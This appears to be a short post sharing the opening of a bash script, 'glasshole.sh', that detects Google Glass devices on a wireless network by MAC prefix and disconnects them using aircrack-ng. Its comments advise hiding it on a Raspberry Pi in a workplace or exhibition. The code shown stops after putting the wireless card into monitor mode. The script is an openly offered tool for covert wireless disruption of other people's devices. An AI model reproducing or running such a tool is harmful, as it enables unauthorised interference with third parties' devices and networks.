The below script will find and detect Google Glass on the local network and kick them off. Read the comments for more details.

# GLASSHOLE.SH
#
# Find and kick Google Glass devices from your local wireless network.  Requires
# 'beep', 'arp-scan', 'aircrack-ng' and a GNU/Linux host.  Put on a BeagleBone
# black or Raspberry Pi. Plug in a good USB wireless NIC (like the TL-WN722N)
# and wear it, hide it in your workplace or your exhibition.
#
# Save as glasshole.sh, 'chmod +x glasshole.sh' and exec as follows:
#
#   sudo ./glasshole.sh <WIRELESS NIC> <BSSID OF ACCESS POINT>
# 
# Thanks to Jens Killus for new rev Glass MAC addr and extglob hint (phew).

shopt -s nocasematch # Set shell to ignore case
shopt -s extglob # For non-interactive shell.

NIC=$1 # Your wireless NIC
BSSID=$2 # Network BSSID (exhibition, workplace, park)
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }')
GGMAC='@(F8:8F:CA:24*|F8:8F:CA:25*)' # Match against old and new Glass. 
POLL=30 # Check every 30 seconds

airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device
